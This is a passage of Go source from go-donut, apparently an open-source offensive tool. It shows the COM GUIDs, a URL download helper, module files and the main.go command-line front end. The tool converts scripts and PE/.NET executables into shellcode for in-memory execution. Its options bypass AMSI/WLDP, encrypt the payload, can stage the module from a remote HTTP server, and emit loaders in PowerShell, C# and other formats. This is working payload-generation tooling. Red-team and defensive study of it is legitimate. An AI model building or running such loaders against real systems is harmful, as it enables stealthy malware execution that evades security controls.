xIID_IActiveScriptParse32 = uuid.UUID{ 396 | 0xbb, 0x1a, 0x2a, 0xe2, 0xa4, 0xf9, 0x11, 0xcf, 0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64} 397 | 398 | xIID_IActiveScriptParse64 = uuid.UUID{ 399 | 0xc7, 0xef, 0x76, 0x58, 0xe1, 0xee, 0x48, 0x0e, 0x97, 0xea, 0xd5, 0x2c, 0xb4, 0xd7, 0x6d, 0x17} 400 | 401 | xCLSID_VBScript = uuid.UUID{ 402 | 0xB5, 0x4F, 0x37, 0x41, 0x5B, 0x07, 0x11, 0xcf, 0xA4, 0xB0, 0x00, 0xAA, 0x00, 0x4A, 0x55, 0xE8} 403 | 404 | xCLSID_JScript = uuid.UUID{ 405 | 0xF4, 0x14, 0xC2, 0x60, 0x6A, 0xC0, 0x11, 0xCF, 0xB6, 0xD1, 0x00, 0xAA, 0x00, 0xBB, 0xBB, 0x58} 406 | 407 | // required to load XSL files 408 | xCLSID_DOMDocument30 = uuid.UUID{ 409 | 0xf5, 0x07, 0x8f, 0x32, 0xc5, 0x51, 0x11, 0xd3, 0x89, 0xb9, 0x00, 0x00, 0xf8, 0x1f, 0xe2, 0x21} 410 | 411 | xIID_IXMLDOMDocument = uuid.UUID{ 412 | 0x29, 0x33, 0xBF, 0x81, 0x7B, 0x36, 0x11, 0xD2, 0xB2, 0x0E, 0x00, 0xC0, 0x4F, 0x98, 0x3E, 0x60} 413 | 414 | xIID_IXMLDOMNode = uuid.UUID{ 415 | 0x29, 0x33, 0xbf, 0x80, 0x7b, 0x36, 0x11, 0xd2, 0xb2, 0x0e, 0x00, 0xc0, 0x4f, 0x98, 0x3e, 0x60} 416 | ) 417 | 418 | func swapUUID(w io.Writer, u uuid.UUID) { 419 | bu := new(bytes.Buffer) 420 | binary.Write(bu, binary.LittleEndian, u) 421 | var a uint32 422 | var b, c uint16 423 | binary.Read(bu, binary.BigEndian, &a) 424 | binary.Read(bu, binary.BigEndian, &b) 425 | binary.Read(bu, binary.BigEndian, &c) 426 | binary.Write(w, binary.LittleEndian, a) 427 | binary.Write(w, binary.LittleEndian, b) 428 | binary.Write(w, binary.LittleEndian, c) 429 | bu.WriteTo(w) 430 | } 431 | -------------------------------------------------------------------------------- /donut/utils.go: -------------------------------------------------------------------------------- 1 | package donut 2 | 3 | import ( 4 | "bytes" 5 | "crypto/rand" 6 | "io" 7 | "math/big" 8 | "net/http" 9 | ) 10 | 11 | // RandomString - generates random string of given length 12 | func RandomString(len int) string { 13 | bytes := make([]byte, len) 14 | for i := 0; i < len; i++ { 15 | r, _ := rand.Int(rand.Reader, big.NewInt(25)) 16 | bytes[i] = 97 + byte(r.Int64()) //a=97 17 | } 18 | return string(bytes) 19 | } 20 | 21 | // DownloadFile will download an URL to a byte buffer 22 | func DownloadFile(url string) (*bytes.Buffer, error) { 23 | resp, err := http.Get(url) 24 | if err != nil { 25 | return nil, err 26 | } 27 | defer resp.Body.Close() 28 | 29 | buf := bytes.NewBuffer([]byte{}) 30 | _, err = io.Copy(buf, resp.Body) 31 | if err != nil { 32 | return nil, err 33 | } 34 | return buf, nil 35 | } 36 | 37 | // GenerateRandomBytes : Generates as many random bytes as you ask for, returns them as []byte 38 | func GenerateRandomBytes(count int) ([]byte, error) { 39 | b := make([]byte, count) 40 | if _, err := io.ReadFull(rand.Reader, b); err != nil { 41 | return nil, err 42 | } 43 | return b, nil 44 | } 45 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/Binject/go-donut 2 | 3 | go 1.16 4 | 5 | require ( 6 | github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf 7 | github.com/akamensky/argparse v1.3.0 8 | github.com/google/uuid v1.2.0 9 | ) 10 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf h1:Cx4YJvjPZD91xiffqJOq8l3j1YKcvx3+8duqq7DX9gY= 2 | github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ= 3 | github.com/akamensky/argparse v1.3.0 h1:/y3NFl6Nhw6alHDWoI9tx3vSyrB5zRgs4y9jzHxtjjg= 4 | github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA= 5 | github.com/google/uuid v1.2.0 h1:qJYtXnJRWmpe7m/3XlyhrsLrEURqHRM2kxzoxXqyUDs= 6 | github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 7 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "io/ioutil" 5 | "log" 6 | "os" 7 | "strconv" 8 | "strings" 9 | 10 | "github.com/Binject/go-donut/donut" 11 | "github.com/akamensky/argparse" 12 | ) 13 | 14 | func main() { 15 | 16 | parser := argparse.NewParser("go-donut", "Convert a VBS/JS or PE/.NET EXE/DLL to shellcode.\n\t\t"+ 17 | "Only the finest artisanal donuts are made of shells.") 18 | 19 | // -MODULE OPTIONS- 20 | moduleName := parser.String("n", "module", &argparse.Options{Required: false, 21 | Help: "Module name. Randomly generated by default with entropy enabled."}) 22 | url := parser.String("u", "url", &argparse.Options{Required: false, 23 | Help: "HTTP server that will host the donut module."}) 24 | entropy := parser.Int("e", "entropy", &argparse.Options{Required: false, Default: 3, 25 | Help: "Entropy. 1=disable, 2=use random names, 3=random names + symmetric encryption (default)"}) 26 | 27 | // -PIC/SHELLCODE OPTIONS- 28 | archStr := parser.String("a", "arch", &argparse.Options{Required: false, 29 | Default: "x84", Help: "Target Architecture: x32, x64, or x84"}) 30 | bypass := parser.Int("b", "bypass", &argparse.Options{Required: false, 31 | Default: 3, Help: "Bypass AMSI/WLDP : 1=skip, 2=abort on fail, 3=continue on fail."}) 32 | dstFile := parser.String("o", "out", &argparse.Options{Required: false, 33 | Default: "loader.bin", Help: "Output file."}) 34 | format := parser.Int("f", "format", &argparse.Options{Required: false, 35 | Default: 1, Help: "Output format. 1=raw, 2=base64, 3=c, 4=ruby, 5=python, 6=powershell, 7=C#, 8=hex"}) 36 | oepString := parser.String("y", "oep", &argparse.Options{Required: false, 37 | Help: "Create a new thread for loader. Optionally execute original entrypoint of host process."}) 38 | action := parser.Int("x", "exit", &argparse.Options{Required: false, 39 | Default: 1, Help: "Exiting. 1=exit thread, 2=exit process"}) 40 | 41 | // -FILE OPTIONS- 42 | className := parser.String("c", "class", &argparse.Options{Required: false, 43 | Help: "Optional class name. (required for .NET DLL)"}) 44 | appDomain := parser.String("d", "domain", &argparse.Options{Required: false, 45 | Help: "AppDomain name to create for .NET. Randomly generated by default with entropy enabled."}) 46 | method := parser.String("m", "method", &argparse.Options{Required: false, 47 | Help: "Optional method or API name for DLL. (a method is required for .NET DLL)"}) 48 | params := parser.String("p", "params", &argparse.Options{Required: false, 49 | Help: "Optional parameters/command line inside quotations for DLL method/function or EXE."}) 50 | wFlag := parser.Flag("w", "unicode", &argparse.Options{Required: false, 51 | Help: "Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)"}) 52 | runtime := parser.String("r", "runtime", &argparse.Options{Required: false, 53 | Help: "CLR runtime version. This will override the auto-detected version."}) 54 | tFlag := parser.Flag("t", "thread", &argparse.Options{Required: false, 55 | Help: "Create new thread for entrypoint of unmanaged EXE."}) 56 | zFlag := parser.Int("z", "compress", &argparse.Options{Required: false, Default: 1, 57 | Help: "Pack/Compress file. 1=disable, 2=LZNT1, 3=Xpress, 4=Xpress Huffman"}) 58 | 59 | // go-donut only flags 60 | srcFile := parser.String("i", "in", &argparse.Options{Required: true, 61 | Help: ".NET assembly, EXE, DLL, VBS, JS or XSL file to execute in-memory."}) 62 | 63 | verbose := parser.Flag("v", "verbose", &argparse.Options{Required: false, Help: "Show verbose output."}) 64 | 65 | if err := parser.Parse(os.Args); err != nil || *srcFile == "" { 66 | log.Println(parser.Usage(err)) 67 | return 68 | } 69 | 70 | var err error 71 | oep := uint64(0) 72 | if *oepString != "" { 73 | oep, err = strconv.ParseUint(*oepString, 16, 64) 74 | if err != nil { 75 | log.Println("Invalid OEP: " + err.Error()) 76 | return 77 | } 78 | } 79 | 80 | var donutArch donut.DonutArch 81 | switch strings.ToLower(*archStr) { 82 | case "x32", "386": 83 | donutArch = donut.X32 84 | case "x64", "amd64": 85 | donutArch = donut.X64 86 | case "x84": 87 | donutArch = donut.X84 88 | default: 89 | log.Fatal("Unknown architecture provided") 90 | } 91 | 92 | config := new(donut.DonutConfig) 93 | config.Arch = donutArch 94 | config.Entropy = uint32(*entropy) 95 | config.OEP = oep 96 | 97 | if *url == "" { 98 | config.InstType = donut.DONUT_INSTANCE_PIC 99 | } else { 100 | config.InstType = donut.DONUT_INSTANCE_URL 101 | } 102 | 103 | config.Parameters = *params 104 | config.Runtime = *runtime 105 | config.URL = *url 106 | config.Class = *className 107 | config.Method = *method 108 | config.Domain = *appDomain 109 | config.Bypass = *bypass 110 | config.ModuleName = *moduleName 111 | config.Compress = uint32(*zFlag) 112 | config.Format = uint32(*format) 113 | config.Verbose = *verbose 114 | 115 | if *tFlag { 116 | config.Thread = 1 117 | } 118 | if *wFlag { // convert command line to unicode? only applies to unmanaged DLL function 119 | config.Unicode = 1 120 | } 121 | config.ExitOpt = uint32(*action) 122 | 123 | if *srcFile == "" { 124 | if *url == "" { 125 | log.Fatal("No source URL or file provided") 126 | } 127 | payload, err := donut.ShellcodeFromURL(*url, config) 128 | if err == nil { 129 | err = ioutil.WriteFile(*dstFile, payload.Bytes(), 0644) 130 | } 131 | } else { 132 | payload, err := donut.ShellcodeFromFile(*srcFile, config) 133 | if err == nil { 134 | f, err := os.Create(*dstFile) 135 | if err != nil { 136 | log.Fatal(err) 137 | } 138 | defer f.Close() 139 | if _, err = payload.WriteTo(f); err != nil { 140 | log.Fatal(err) 141 | } 142 | } 143 | } 144 | if err != nil { 145 | log.Println(err) 146 | } else { 147 | log.Println("Done!") 148 | } 149 | } 150 | --------------------------------------------------------------------------------